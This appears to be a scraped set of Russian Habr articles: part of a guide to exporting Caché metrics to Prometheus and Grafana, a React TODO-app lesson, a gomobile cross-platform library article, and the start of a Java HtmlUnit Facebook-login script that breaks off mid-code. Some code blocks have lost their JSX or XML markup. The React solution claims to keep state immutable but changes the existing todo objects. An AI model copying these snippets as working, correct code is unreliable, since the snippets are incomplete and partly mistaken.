Наша задача – сделать так, чтобы по адресу <http://localhost:57772/metrics/cache> можно было стянуть метрики в понятном для Prometheus [виде](https://prometheus.io/docs/instrumenting/writing_exporters/). Будем использовать [REST-возможности Caché](http://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls?KEY=GREST) в силу их простоты. Сразу отметим, что Prometheus «понимает» только метрики числовые, так что строковые метрики экспортировать не будем. Для получения тестовых метрик будем использовать API класса [SYS.Stats.Dashboard](http://docs.intersystems.com/latest/csp/documatic/%25CSP.Documatic.cls?PAGE=CLASS&LIBRARY=%25SYS&CLASSNAME=SYS.Stats.Dashboard). Эти метрики используются самой Caché для отображения Системной панели инструментов:
**Пример того же самого в Терминале**%SYS>**set dashboard = ##class(SYS.Stats.Dashboard).Sample()**
%SYS>**zwrite dashboard**
dashboard=[2@SYS.Stats.Dashboard]
+----------------- general information — | oref value: 2
| class name: SYS.Stats.Dashboard
| reference count: 2
+----------------- attribute values — | ApplicationErrors = 0
| CSPSessions = 2
| CacheEfficiency = 280.03
| DatabaseSpace = «Normal»
| DiskReads = 2317
| DiskWrites = 329
| ECPAppServer = «OK»
| ECPAppSrvRate = 0
| ECPDataServer = «OK»
| ECPDataSrvRate = 0
| GloRefs = 740953
| GloRefsPerSec = «166.00»
| GloSets = 60947
| JournalEntries = 403
…
Песочницей будет служить область USER. Для начала создадим REST веб-приложение /metrics. Для хоть какой-то безопасности укажем вход в приложение по паролю, также укажем, что соответствовать этому веб-приложению будет некий ресурс, назовем его PromResource. В ресурсе закроем публичный доступ. То есть сделаем следующее:
> %SYS>**write ##class(Security.Resources).Create("PromResource","Resource for Metrics web page","")**
>
> 1
Настройки нашего веб-приложения:
Нам нужен будет пользователь, имеющий возможность использовать этот ресурс. Также пользователь должен иметь права на чтение рабочей базы (в нашем случае, USER) и запись в нее. Помимо этого, ему понадобится право на чтение системной базы CACHESYS, поскольку ниже в коде реализации мы будем переходить в область %SYS. Будем следовать стандартной схеме, т.е. создадим роль PromRole c этими возможностями, после чего создадим пользователя PromUser с этой ролью. Пароль выберем, например, "Secret":
> %SYS>**write ##class(Security.Roles).Create("PromRole","Role for PromResource","PromResource:U,%DB\_USER:RW,%DB\_CACHESYS:R")**
>
> 1
>
> %SYS>**write ##class(Security.Users).Create("PromUser","PromRole","Secret")**
>
> 1
Именно этого пользователя PromUser мы укажем для аутентификации в конфиге Prometheus. После чего перечитаем конфиг путем посылки процессу сервера сигнала SIGHUP.
**Более безопасный конфиг**# **cat /opt/prometheus/prometheus-1.4.1.linux-amd64/prometheus.yml**
*global:
scrape\_interval: 15s # Set the scrape interval to every 15 seconds. Default is every 1 minute.
scrape\_configs:
- job\_name: 'isc\_cache'
metrics\_path: '/metrics/cache'
static\_configs:
- targets: ['localhost:57772']
**basic\_auth:**
**username: 'PromUser'**
**password: 'Secret'***
#
# **kill -SIGHUP $(pgrep prometheus)** # or kill -1 $(pgrep prometheus)
Теперь Prometheus может успешно пройти аутентификацию для использования веб-приложения с метриками.
Метрики нам будет отдавать класс-обработчик REST-запросов my.Metrics.
**Вот его реализация**
```
Class my.Metrics Extends %CSP.REST
{
Parameter ISCPREFIX = "isc_cache";
Parameter DASHPREFIX = {..#ISCPREFIX_"_dashboard"};
XData UrlMap [ XMLNamespace = "http://www.intersystems.com/urlmap" ]
{
}
/// Output should obey the Prometheus exposition formats. Docs:
/// https://prometheus.io/docs/instrumenting/exposition_formats/
///
/// The protocol is line-oriented. A line-feed character (\n) separates lines.
/// The last line must end with a line-feed character. Empty lines are ignored.
ClassMethod getMetrics() As %Status
{
set nl = $c(10)
do ..getDashboardSample(.dashboard)
do ..getClassProperties(dashboard.%ClassName(1), .propList, .descrList)
for i=1:1:$ll(propList) {
set descr = $lg(descrList,i)
set propertyName = $lg(propList,i)
set propertyValue = $property(dashboard, propertyName)
// Prometheus supports time series database
// so if we get empty (for example, backup metrics) or non-digital metrics
// we just omit them.
if ((propertyValue '= "") && ('$match(propertyValue, ".*[-A-Za-z ]+.*"))) {
set metricsName = ..#DASHPREFIX_..camelCase2Underscore(propertyName)
set metricsValue = propertyValue
// Write description (help) for each metrics.
// Format is that the Prometheus requires.
// Multiline descriptions we have to join in one string.
write "# HELP "_metricsName_" "_$replace(descr,nl," ")_nl
write metricsName_" "_metricsValue_nl
}
}
write nl
quit $$$OK
}
ClassMethod getDashboardSample(Output dashboard)
{
new $namespace
set $namespace = "%SYS"
set dashboard = ##class(SYS.Stats.Dashboard).Sample()
}
ClassMethod getClassProperties(className As %String, Output propList As %List, Output descrList As %List)
{
new $namespace
set $namespace = "%SYS"
set propList = "", descrList = ""
set properties = ##class(%Dictionary.ClassDefinition).%OpenId(className).Properties
for i=1:1:properties.Count() {
set property = properties.GetAt(i)
set propList = propList_$lb(property.Name)
set descrList = descrList_$lb(property.Description)
}
}
/// Converts metrics name in camel case to underscore name with lower case
/// Sample: input = WriteDaemon, output = _write_daemon
ClassMethod camelCase2Underscore(metrics As %String) As %String
{
set result = metrics
set regexp = "([A-Z])"
set matcher = ##class(%Regex.Matcher).%New(regexp, metrics)
while (matcher.Locate()) {
set result = matcher.ReplaceAll("_"_"$1")
}
// To lower case
set result = $zcvt(result, "l")
// _e_c_p (_c_s_p) to _ecp (_csp)
set result = $replace(result, "_e_c_p", "_ecp")
set result = $replace(result, "_c_s_p", "_csp")
quit result
}
}
```
В консоли проверим, что наши труды не прошли зря (добавлен ключ --silent, чтобы curl не мешал своим прогресс-баром):
**Проверяем выгрузку метрик**# **curl --user PromUser:Secret --silent -XGET 'http://localhost:57772/metrics/cache' | head -20**
# HELP isc\_cache\_dashboard\_application\_errors Number of application errors that have been logged.
isc\_cache\_dashboard\_application\_errors 0
# HELP isc\_cache\_dashboard\_csp\_sessions Most recent number of CSP sessions.
isc\_cache\_dashboard\_csp\_sessions 2
# HELP isc\_cache\_dashboard\_cache\_efficiency Most recently measured cache efficiency (Global references / (physical reads + writes))
isc\_cache\_dashboard\_cache\_efficiency 439.56
# HELP isc\_cache\_dashboard\_disk\_reads Number of physical block read operations since system startup.
isc\_cache\_dashboard\_disk\_reads 2605
# HELP isc\_cache\_dashboard\_disk\_writes Number of physical block write operations since system startup
isc\_cache\_dashboard\_disk\_writes 1021
# HELP isc\_cache\_dashboard\_ecp\_app\_srv\_rate Most recently measured ECP application server traffic in bytes/second.
isc\_cache\_dashboard\_ecp\_app\_srv\_rate 0
# HELP isc\_cache\_dashboard\_ecp\_data\_srv\_rate Most recently measured ECP data server traffic in bytes/second.
isc\_cache\_dashboard\_ecp\_data\_srv\_rate 0
# HELP isc\_cache\_dashboard\_glo\_refs Number of Global references since system startup.
isc\_cache\_dashboard\_glo\_refs 1593830
# HELP isc\_cache\_dashboard\_glo\_refs\_per\_sec Most recently measured number of Global references per second.
isc\_cache\_dashboard\_glo\_refs\_per\_sec 131.00
# HELP isc\_cache\_dashboard\_glo\_sets Number of Global Sets and Kills since system startup.
isc\_cache\_dashboard\_glo\_sets 132003
Теперь можно проверить и в интерфейсе Prometheus:
Вот и список наших метрик:
Не будем останавливаться на их просмотре в самом Prometheus. Желающие могут выбрать нужную метрику и нажать кнопку “Execute”. Выбрав вкладку “Graph”, можно увидеть и график (показана эффективность кэша):
### Визуализация метрик
Для графического отображения поставим себе [Grafana](http://grafana.org/download/). Для данной статьи была выбрана инсталляция из тарболла. Но вариантов инсталляции много, от пакетов до контейнера. Проделаем указанные шаги (предварительно только создадим каталог /opt/grafana и перейдем в него):
Конфиг пока оставим как есть. И в последнем шаге мы стартуем Grafana в фоновом режиме. Лог работы Grafana перенаправим в файл, как и в случае с Prometheus:
> # ./bin/grafana-server > /var/log/grafana.log 2>&1 &
Веб-интерфейс Grafana по умолчанию доступен на порту 3000. Логин/пароль: admin/admin.
Как подружить Prometheus с Grafana описано [здесь](https://prometheus.io/docs/visualization/grafana/). Если своими словами, то – добавляем новый Data Source с типом Prometheus. В качестве доступа direct/proxy выбираете свой вариант:
Затем добавляем Дашбоард с нужными нам панелями. Тестовая заготовка Дашбоарда имеется в [общем доступе](https://github.com/myardyas/prometheus). Там же лежит и код класса для сбора метрик. Дашбоард можно просто импортировать в свою Grafana (Dashboards → Import):
После импорта получим вот такую картину:
Сохраним Дашбоард:
Выбор временного диапазона и период обновления выбираются вверху справа:
### Примеры работы мониторинга
Протестируем мониторинг обращения к глобалам:
> USER>for i=1:1:1000000 {set ^prometheus(i) = i}
>
> USER>kill ^prometheus
Видим, что число ссылок на глобалы в секунду возросло, тогда как эффективность кэша упала (глобала ^prometheus в кэше еще не было):
Проверим использование лицензий. Создадим примитивную CSP-страницу PromTest.csp в области USER:
>
>
> Prometheus Test Page
>
> Monitoring works fine!
>
>
И посетим ее энное число раз (приложение /csp/user предполагаем незапароленным):
> # ab -n77 <http://localhost:57772/csp/user/PromTest.csp>
Увидим такую картину с лицензиями:
### Краткие выводы
Как видим, внедрение подобного мониторинга не составляет большого труда. Уже на начальном этапе мы можем получить важные сведения о работе системы, как то: использование лицензий, эффективность кэша глобалов, наличие ошибок приложений. Для примера был взят класс [SYS.Stats.Dashboard](https://docs.intersystems.com/latest/csp/documatic/%25CSP.Documatic.cls?PAGE=CLASS&LIBRARY=%25SYS&CLASSNAME=SYS.Stats.Dashboard), однако не меньшего внимания достойны и другие классы пакетов SYS, %SYSTEM, %SYS. Также никто не ограничивает в фантазии и возможности написания своего класса, выдающего по запросу метрики именно вашего приложения, например, число документов того или иного типа. Некоторые полезные метрики планируется вынести в отдельный шаблон для Grafana.
### To be continued
Если данная тема интересна, продолжение будет следовать. Что в планах:
1. Подготовка шаблона для Grafana с метриками работы демона записи. Неплохо бы сделать некий графический аналог утилиты [^mgstat](https://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls?KEY=GCM_mgstat#GCM_C173763), во всяком случае, для части ее метрик.
2. Пароль на веб-приложение – это хорошо, но хотелось бы проверить возможность использования сертификатов.
3. Использование Prometheus, Grafana и некоторых экспортеров для Prometheus уже в виде Docker-контейнеров.
4. Использование сервисов обнаружения для автоматического добавления новых инстансов Caché в мониторинг Prometheus. Тут также хотелось бы показать на практике такую удобную вещь Grafana, как шаблоны. Это что-то вроде динамических панелей, когда в зависимости от выбранного сервера показываются только его метрики, но все это на одном и том же Дашбоарде.
5. Alert Manager Prometheus.
6. Конфигурационные настройки Prometheus, касающиеся времени хранения данных, а также возможности по оптимизации для систем с большим числом метрик и малым интервалом их сбора.
7. Разные нюансы, которые всплывут по ходу дела.
### Ссылки
В процессе подготовки данной статьи был посещен ряд полезных мест и просмотрено некоторое количество видео:
* [Сайт проекта Prometheus](https://prometheus.io/)
* [Сайт проекта Grafana](http://grafana.org/)
* [Блог компании Selectel](https://blog.selectel.ru/monitoring-servisov-s-prometheus/)
* [Блог одного из разработчиков Prometheus по имени Brian Brazil](https://www.robustperception.io/blog/)
* [Туториал на сайте DigitalOcean](https://www.digitalocean.com/community/tutorials/how-to-use-prometheus-to-monitor-your-ubuntu-14-04-server)
* [Немного видео от компании Robust Perception](https://www.youtube.com/channel/UCtiFWOeRSTP3M6QUnTEKwpw)
* [Много видео с конференции, посвященной Prometheus](https://www.youtube.com/channel/UC4pLFely0-Odea4B2NL1nWA/videos)
Спасибо дочитавшим до этой строки!
P.S. Добавилась [вторая часть](https://habrahabr.ru/company/intersystems/blog/331594/). | https://habr.com/ru/post/318940/ | null | ru | null |
# Учебный курс по React, часть 18: шестой этап работы над TODO-приложением
В сегодняшней части перевода учебного курса по React вам предлагается продолжить работу над Todo-приложением и сделать так, чтобы щелчки по флажкам воздействовали бы на состояние компонента.
[](https://habr.com/ru/company/ruvds/blog/440662/)
→ [Часть 1: обзор курса, причины популярности React, ReactDOM и JSX](https://habr.com/post/432636/)
→ [Часть 2: функциональные компоненты](https://habr.com/post/433400/)
→ [Часть 3: файлы компонентов, структура проектов](https://habr.com/post/433404/)
→ [Часть 4: родительские и дочерние компоненты](https://habr.com/company/ruvds/blog/434118/)
→ [Часть 5: начало работы над TODO-приложением, основы стилизации](https://habr.com/company/ruvds/blog/434120/)
→ [Часть 6: о некоторых особенностях курса, JSX и JavaScript](https://habr.com/company/ruvds/blog/435466/)
→ [Часть 7: встроенные стили](https://habr.com/company/ruvds/blog/435468/)
→ [Часть 8: продолжение работы над TODO-приложением, знакомство со свойствами компонентов](https://habr.com/company/ruvds/blog/435470/)
→ [Часть 9: свойства компонентов](https://habr.com/company/ruvds/blog/436032/)
→ [Часть 10: практикум по работе со свойствами компонентов и стилизации](https://habr.com/company/ruvds/blog/436890/)
→ [Часть 11: динамическое формирование разметки и метод массивов map](https://habr.com/company/ruvds/blog/436892/)
→ [Часть 12: практикум, третий этап работы над TODO-приложением](https://habr.com/company/ruvds/blog/437988/)
→ [Часть 13: компоненты, основанные на классах](https://habr.com/ru/company/ruvds/blog/437990/)
→ [Часть 14: практикум по компонентам, основанным на классах, состояние компонентов](https://habr.com/ru/company/ruvds/blog/438986/)
→ [Часть 15: практикумы по работе с состоянием компонентов](https://habr.com/ru/company/ruvds/blog/438988/)
→ [Часть 16: четвёртый этап работы над TODO-приложением, обработка событий](https://habr.com/ru/company/ruvds/blog/439982/)
→ [Часть 17: пятый этап работы над TODO-приложением, модификация состояния компонентов](https://habr.com/ru/company/ruvds/blog/439984/)
→ [Часть 18: шестой этап работы над TODO-приложением](https://habr.com/ru/company/ruvds/blog/440662/)
→ [Часть 19: методы жизненного цикла компонентов](https://habr.com/ru/company/ruvds/blog/441578/)
→ [Часть 20: первое занятие по условному рендерингу](https://habr.com/ru/company/ruvds/blog/441580/)
→ [Часть 21: второе занятие и практикум по условному рендерингу](https://habr.com/ru/company/ruvds/blog/443210/)
→ [Часть 22: седьмой этап работы над TODO-приложением, загрузка данных из внешних источников](https://habr.com/ru/company/ruvds/blog/443212/)
→ [Часть 23: первое занятие по работе с формами](https://habr.com/ru/company/ruvds/blog/443214/)
→ [Часть 24: второе занятие по работе с формами](https://habr.com/ru/company/ruvds/blog/444356/)
→ [Часть 25: практикум по работе с формами](https://habr.com/ru/company/ruvds/blog/446208/)
→ [Часть 26: архитектура приложений, паттерн Container/Component](https://habr.com/ru/company/ruvds/blog/446206/)
→ [Часть 27: курсовой проект](https://habr.com/ru/company/ruvds/blog/447136/)
Занятие 33. Практикум. TODO-приложение. Этап №6
-----------------------------------------------
→ [Оригинал](https://scrimba.com/p/p7P5Hd/cgDqBHP)
### ▍Задание
На этом практическом занятии мы продолжим работу над Todo-приложением, сделаем так, чтобы действия пользователя влияли бы на состояние компонента. Речь идёт о том, чтобы у нас появилась возможность отмечать пункты списка дел как выполненные или невыполненные. Ниже приведён код компонента `App`, некоторые заготовки и комментарии, имеющиеся в котором, призваны помочь вам в выполнении задания. Собственно говоря, вот что вам предлагается сегодня сделать:
1. Создайте в компоненте `App` обработчик события, который реагирует на изменения флажков (речь идёт о событии `onChange`) и соответствующим образом меняет состояние приложения. Пожалуй, это — самая сложная часть сегодняшнего задания. Для того чтобы с ней справиться — обратите внимание на комментарии и заготовки, представленные в коде.
2. Передайте соответствующий метод компоненту `TodoItem`.
3. В компоненте `TodoItem` создайте механизм, который, при возникновении события `onChange`, вызывает переданный экземпляру компонента метод и передаёт ему идентификатор (`id`) дела, которому соответствует флажок, по которому щёлкнул пользователь.
Вот код компонента `App`:
```
import React from "react"
import TodoItem from "./TodoItem"
import todosData from "./todosData"
class App extends React.Component {
constructor() {
super()
this.state = {
todos: todosData
}
this.handleChange = this.handleChange.bind(this)
}
handleChange(id) {
// Обновите состояние так, чтобы у элемента с заданным id свойство
// completed поменялось бы c false на true (или наоборот).
// Помните о том, что предыдущую версию состоянию менять не следует.
// Вместо этого нужно вернуть новую версию состояния, содержащую изменения.
// (Подумайте о том, как для этого использовать метод массивов map.)
}
render() {
const todoItems = this.state.todos.map(item => )
return (
{todoItems}
)
}
}
export default App
```
### ▍Решение
Для начала создадим простой механизм проверки вызова метода `handleChange()`. А именно — приведём его к такому виду:
```
handleChange(id) {
console.log("Changed", id)
}
```
Теперь мы реализуем то, что нужно сделать в соответствии с пунктами 2 и 3 задания. То есть — создадим связь между щелчком по флажку и вызовом метода `handleChange()` с передачей ему `id` этого флажка.
Для того чтобы передать экземпляру компонента `TodoItem` ссылку на `handleChange()`, мы можем поступить так же, как поступали передавая ему свойства и переписать код создания списка компонентов так:
```
const todoItems = this.state.todos.map(item => )
```
Обратите внимание на то, что свойство `handleChange`, которое будет доступно компонентам `TodoItem`, содержит ссылку на метод `handleChange` экземпляра компонента `App`. В компоненте `TodoItem` к этому методу можно обратиться так же, как и к другим передаваемым ему свойствам. На данном этапе работы код `TodoItem` выглядит так:
```
import React from "react"
function TodoItem(props) {
return (
console.log("Changed!")}
/>
{props.item.text}
)
}
export default TodoItem
```
Для вызова метода `handleChange` в коде компонента можно воспользоваться конструкцией вида `props.handleChange()`. При этом данному методу нужно передать `id` элемента. Обработчик события `onChange` принимает объект события. Нам, для вызова метода `handleChange()`, этот объект не требуется. Перепишем код, в котором мы назначаем элементу обработчик события `onChange`, так:
```
onChange={(event) => props.handleChange(props.item.id)}
```
Здесь мы вызываем метод `handleChange()`, передавая ему идентификатор элемента, взятый из переданных ему свойств, из другой функции, которая принимает объект события. Так как мы этот объект здесь не используем, код можно переписать так:
```
onChange={() => props.handleChange(props.item.id)}
```
Теперь попробуем запустить приложение и, открыв консоль, пощёлкать по флажкам.
*Проверка метода handleChange()*
В консоль попадают сообщения, содержащие идентификаторы флажков, по которым мы щёлкаем. Но флажки пока не меняют внешний вид, так как в методе `handleChange()` ещё не реализован механизм изменения состояния компонента. В результате мы только что справились со второй и третьей частями задания и теперь можем приступить к работе над его первой частью, пожалуй, самой интересной из всех, касающейся работы с состоянием.
Для начала нам нужно решить вопрос, касающийся того, что в состоянии хранится массив, некий элемент которого, в ответ на щелчок по флажку, должен претерпеть изменения, но мы при этом не должны модифицировать массив, хранящийся в старой версии состояния. То есть, например, нельзя просто пройтись по уже имеющемуся в состоянии массиву объектов, найти нужный элемент и изменить его свойство `completed`. Нам нужно, чтобы, после изменения состояния, был бы сформирован новый массив, один из элементов которого будет изменён, а остальные останутся такими же, какими были раньше. Одним из подходов к формированию такого массива является использование метода массивов `map()`, упомянутого в комментариях к заданию. Код мы будем писать в методе `setState()`. Приведём код метода `handleChange()` из компонента `App` к следующему виду:
```
handleChange(id) {
this.setState(prevState => {
})
}
```
Теперь, с помощью метода `map()`, пройдёмся по массиву `prevState.todos` и поищем в нём нужный нам элемент, то есть тот, `id` которого передано методу `handleChange()`, после чего изменим его свойство `completed`. Метод `map()` возвращает новый массив, который и будет использоваться в новом состоянии приложения, поэтому мы запишем этот массив в константу. Вот как это выглядит:
```
handleChange(id) {
this.setState(prevState => {
const updatedTodos = prevState.todos.map(todo => {
if (todo.id === id) {
todo.completed = !todo.completed
}
return todo
})
return {
todos: updatedTodos
}
})
}
```
Здесь, в ходе обработки массива с помощью `map()`, если обнаруживается элемент, `id` которого равен `id`, переданному методу `handleChange()`, значение свойства `completed` этого элемента меняется на противоположное (`true` на `false` и наоборот). После этого, независимо от того, был ли изменён элемент, `map()` возвращает этот элемент. Он попадает в новый массив (представленный здесь константой `updatedTodos`) под тем же индексом, под которым соответствующий элемент был в массиве `todos` из предыдущей версии состояния. После того, как будет просмотрен весь массив и будет полностью сформирован массив `updatedTodos`, этот массив используется в качестве значения свойства `todos` объекта, возвращаемого методом `setState()`, который представляет собой новую версию состояния.
Если запустить приложение теперь, то можно обнаружить, что флажки реагируют на наши воздействия. Это говорит о том, что щелчки по ним меняют состояние приложения, после чего производится их повторный рендеринг с использованием новых данных.
Итоги
-----
Сегодня в нашем распоряжении оказалось работающее Todo-приложение, при написании которого было использовано множество изученных нами концепций React. На самом деле, его ещё вполне можно доработать, в частности, стилизовать его и расширить его возможности. Мы ещё вернёмся к нему на одном из следующих занятий.
**Уважаемые читатели!** Справились ли вы с сегодняшней практической работой?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/440662/ | null | ru | null |
# Разработка библиотеки для iOS/Android на Golang
Кроссплатформенная разработка мобильных приложений была очень популярна в свое время. Данный подход использовали большинство компаний во время становления мобильной отрасли. Основные причины задействовать кроссплатформенную разработку были просты — отсутствие профессиональных кадров на рынке, скорость и стоимость разработки. К сожалению, в большинстве случаев, данный подход не оправдал себя.
Но почему бы не дать ему второй шанс? Технологии шагнули вперед и теоретически мы можем получить очень качественный продукт. В данной статье мы рассмотрим на практике как разработать библиотеку для IOS/Android на языке Golang и посмотрим с какими ограничениями и проблемами мы столкнулись в процессе разработки.
Наша основная задача разработать SDK для сборки логов и крашей с мобильных приложений, при этом SDK должно подключаться и работать и с Android и с iOS приложениями. В тоже время библиотека должна взаимодействовать с основным сервисом [LogPacker](https://logpacker.com), который агрегирует и анализирует данные.
Мы решили использовать новые возможности языка Go для создания кроссплатформенной библиотеки. Во-первых, наше основное приложение написано на Go, и для нас было проще использовать данный язык и не привлекать Java/Objective-C разработчиков. Во-вторых, мы сэкономили время на разработку и попробовали старый подход с новыми возможностями.
#### Что такое gomobile?
Проект [gomobile](https://github.com/golang/go/wiki/Mobile) предоставляет разработчикам инструменты для сборки кода под мобильные платформы Android и iOS.
Сейчас существуют два способа интеграции Go в мобильную среду:
* Написание полноценного Go-приложения без UI.
* Генерация Java/Objective-C/Swift кода из Go.
Данная функция поддерживается начиная с Golang версии 1.5. Новая утилита [gomobile](https://golang.org/x/mobile/cmd/gomobile) помогает компилировать Go в мобильные приложения или собирать Java/Objective-C/Swift код.
Для начала выберем один из способов реализации. Первый способ нам не подходит из-за постановки задачи — нам нужна небольшая библиотека, а не отдельное приложение. Хотя способ очень интересный и перспективный благодаря скорости работы go приложений и минимизации потребления ресурсов мобильных устройств.
Мы выберем второй способ, и cгенерируем Java/Objective-C/Swift код из Go.
#### Настройка окружения
Для начала подготовим окружение для разработки. Нам нужен [Go версии 1.5 или выше](https://golang.org/dl/) (чем выше — тем лучше, Go-сообщество вносит постоянные улучшения в Go Mobile).
Далее устанавливаем утилиту gomobile и библиотеку Android SDK. Начнем с установки gomobile:
```
go get golang.org/x/mobile/cmd/gomobile
```
*Примечание: На OS X необходимо иметь установленный Xcode Command Line Tools.*
Далее инициализируем gomobile, это может быть сделано один раз в любой рабочей директории:
```
gomobile init
```
*Примечание: эта команда может занять несколько минут.*
Для сборки Java-кода нам необходим Android SDK и установленная Java (OpenJDK достаточно).
[Скачаем](https://developer.android.com/sdk/index.html#Other) и распакуем Android SDK в домашнюю директорию, например ~/android-sdk, и выполним следующую команду для установки API версий:
```
~/android-sdk/tools/android sdk
```
Далее установите переменную окружающей среды:
```
export ANDROID_HOME=$HOME"/android-sdk"
```
Окружение для разработки и сборки библиотеки готово. Перейдем непосредственно к написанию кода, и посмотрим с какими ограничениями мы столкнулись.
#### Общий Go-код для Android и iOS
Один и тот же код может быть использован для дальнейшей компиляции под Android и iOS. Написание такого кроссплатформенного Go-кода имеет свои ограничения. В настоящее время мы можем использовать только некоторый набор типов данных. Разрабатывая приложение на Go, это необходимо учитывать. Рассмотрим более подробно поддерживаемые типы:
* int и float;
* string и boolean;
* byte[]. Текущая реализация не позволяет использовать []byte в качестве аргумента функции (<https://golang.org/issues/12113>);
* функция должна возвращать только поддерживаемые типы, может не возвращать результат, возвращать один тип или два типа, при том, что второй тип должен быть обязательно error;
* интерфейсы могут быть использованы, если при экспорте они будут использовать поддерживаемый тип;
* тип struct, только когда все поля соответствуют ограничениям.
Поэтому если тип не поддерживается командой gomobile bind, вы увидите подобную ошибку:
```
panic: unsupported basic seqType: uint64
```
Бесспорно набор поддерживаемых типов сильно ограничен, но для реализации нашего SDK этого вполне достаточно.
#### Сборка и импорт в Java/Objective-C/Swift
Gobind генерирует эквивалентный Go-коду код Java, Objective-C или Swift. К сожалению, gomobile не работает для Windows Phone и это нужно учитывать на этапе планирования.
Обычно gobind не используется напрямую, вместо этого код генерируется автоматически и оборачивается в пакет командой `gomobile bind`. Более подробно это описано тут [golang.org/x/mobile/cmd/gomobile](https://golang.org/x/mobile/cmd/gomobile).
Рассмотрим некоторые команды и особенности процесса компиляции для каждой платформы.
Начнем с флага -target, который определяет платформу для генерации. Пример для Android:
```
gomobile bind --target=android .
```
Эта команда сгенерирует из текущего кода **.aar** файл. Импортировать данный файл в Android Studio очень просто:
* File > New > New Module > Import .JAR or .AAR package
* File > Project Structure > app -> Dependencies -> Add Module Dependency
* Добавить импорт: import go.logpackermobilesdk.Logpackermobilesdk
*Примечание: В Java название пакета для импорта всегда начинается с go.*
Похожая команда используется для сборки Objective-C/Swift кода:
```
gomobile bind --target=ios .
```
Будет создана папка **.framework** в текущей директории.
Это работает как для Objective-C так и для Swift. Переместите .framework папку в файловый браузер Xcode и добавьте импорт в проект:
```
#import "Logpackermobilesdk/Logpackermobilesdk.h"
```
*Примечание: Go позволяет создавать не только SDK, но и компилировать само приложение в apk/ipa файлы из main.go файла, правда без поддержки нативного мобильного UI. Бесспорно это является очень интересным экспериментом Go-сообщества.*
#### Использование подключенных пакетов
Gomobile bind автоматически создает функции getSomething(), setSomething(). Также все экспортируемые функции будут доступны публично.
Для примера использование нашей библиотеки в Android Studio:
```
import go.logpackermobilesdk.Logpackermobilesdk;
// ...
try {
client = Logpackermobilesdk.NewClient("https://logpacker.mywebsite.com", "dev", android.os.Build.MODEL);
msg = client.NewMessage();
msg.setMessage("Crash is here!");
// Use another optional setters for msg object
client.Send(msg); // Send will return Cluster response
} catch (Exception e) {
// Cannot connect to Cluster or validation error
}
```
Она же для Objective-C:
```
#import "ViewController.h"
#import "Logpackermobilesdk/Logpackermobilesdk.h"
@interface ViewController ()
@end
@implementation ViewController
- (void)viewDidLoad {
[super viewDidLoad];
GoLogpackermobilesdkClient *client;
NSError *error;
GoLogpackermobilesdkNewClient(@"https://logpacker.mywebsite.com", @"dev", [[UIDevice currentDevice] systemVersion], &client, &error);
GoLogpackermobilesdkMessage *msg;
msg = client.newMessage;
msg.message = @"Crash is here!";
// Use another optional setters for msg object
GoLogpackermobilesdkResult *result;
[client send:(msg) ret0_:(&result) error:(&error)];
}
```
Как видно из примеров выше, в итоге мы получили стандартные библиотеки. Конфигурация библиотек в приложении предельна проста и знакома разработчикам.
#### Заключение
Все понимают, что создание отдельных команд для разработки под каждую мобильную платформу — это не самое простое и дешевое удовольствие. Но для создания качественного продукта это необходимо на данном этапе времени. С другой стороны, нашу небольшую задачу мы смогли выполнить в рамках кроссплатформенной разработки и воспользовались всеми ее плюсами:
* Минимальные ресурсы на разработку.
* Скорость разработки.
* Простая поддержка решения в дальнейшем.
Минусом является то, что мы не смогли собрать библиотеку под Windows Phone, но об этом мы знали заранее.
Мы надеемся, что в скором времени появится простой способ написания полноценных приложений и SDK на языке Golang.
Вы можете ознакомиться с нашими наработками, склонировав [наш репозиторий](https://github.com/logpacker/mobile-sdk). | https://habr.com/ru/post/277705/ | null | ru | null |
# Использование Facebook Graph API в Java
**Добрый день, Хаброжители!**
Сегодня я расскажу Вам историю собственного велосипеда.
Передо мной стала задача работы с Facebook Graph API в Java, меня интересовали 3 функции: логин, получение информации о пользователе, публикация сообщения на стене.
Работающей библиотеки на Java я не нашёл (или плохо искал), поэтому пришлось изобретать собственный велосипед.
Прочитав о Graph API я начал искать библиотеки, которые мне помогут в укрощении данной API,
пару минут помучив Google я нашёл open-source библиотеку **HtmlUnit**.
Итак, приступим. Что нам понадобиться для того, чтобы залогиниться на Facebook под своим аккаунтом:
1) Нам необходимо создать приложения в Facebook, App ID которого мы будем использоваться для логина и получения AccessToken.
2) HtmlUnit, для заполнения форм.
#### Создание приложения на Facebook
Проходим по [ссылке](https://developers.facebook.com/apps) и нажимаем на кнопку "*Создать новое приложение*".
Заполняем поле "*App Display Name*", соглашаемся с "*политикой конфиденциальности платформы*" и жмём кнопку "*Продолжить*".
В загрузившейся странице нажимаем "*Сохранить изменения*" и сохраняем у себя **App ID**.
#### Далее переходим к написанию Java приложения
```
public class Facebook {
/* App ID */
private static final String API_KEY = "1";
/* Ссылка на страницу, куда перенаправят нас при удачном логине. */
private static final String REDIRECT_URL = "https://www.facebook.com/connect/login_success.html";
/* ID логин формы. */
private static final String LOGIN_FORM_ID = "login_form";
/* Имя e-mail формы. */
private static final String INPUT_EMAIL_NAME = "email";
/* Имя password формы. */
private static final String INPUT_PASSWORD_NAME = "pass";
/* Имя кнопки "Войти". */
private static final String INPUT_LOGIN_NAME = "login";
/* Имя формы управления правами приложения. */
private static final String ACCESS_FORM_ID = "uiserver_form";
/* Имя кнопки "Разрешить". */
private static final String INPUT_ALLOW_NAME = "grant_clicked";
/* Ссылка на Graph API. */
private static final String GRAPH_URL = "https://graph.facebook.com/";
/* HtmlUnit Веб-клиент. */
private WebClient webClient;
/* Полученный AccessToken. */
private String accessToken;
public Facebook() {
initWebClient();
}
/**
* Логинимся в Facebook используя данные email и password.
*/
public void login(String email, String password) {
try {
/* Получаем логин форму. */
HtmlForm loginForm = getForm(LOGIN_FORM_ID);
if (loginForm != null) {
/* Заполняем поле email. */
loginForm.getInputByName(INPUT_EMAIL_NAME).setValueAttribute(email);
/* Заполняем поле password. */
loginForm.getInputByName(INPUT_PASSWORD_NAME).setValueAttribute(password);
/* Нажимаем кнопку "Войти" и получаем страницу, на которую нас перенаправит Facebook. */
HtmlPage page = loginForm.getInputByName(INPUT_LOGIN_NAME).click();
/* Получаем форму управления правами приложения. */
HtmlForm accessForm = getForm(page, ACCESS_FORM_ID);
if (accessForm != null) {
/* Нажимаем на кнопку "Разрешить" и получаем страницу, на которую нас перенаправит Facebook. */
page = accessForm.getInputByName(INPUT_ALLOW_NAME).click();
}
/* Проверяем, увеналась ли удачей наша попытка логина. */
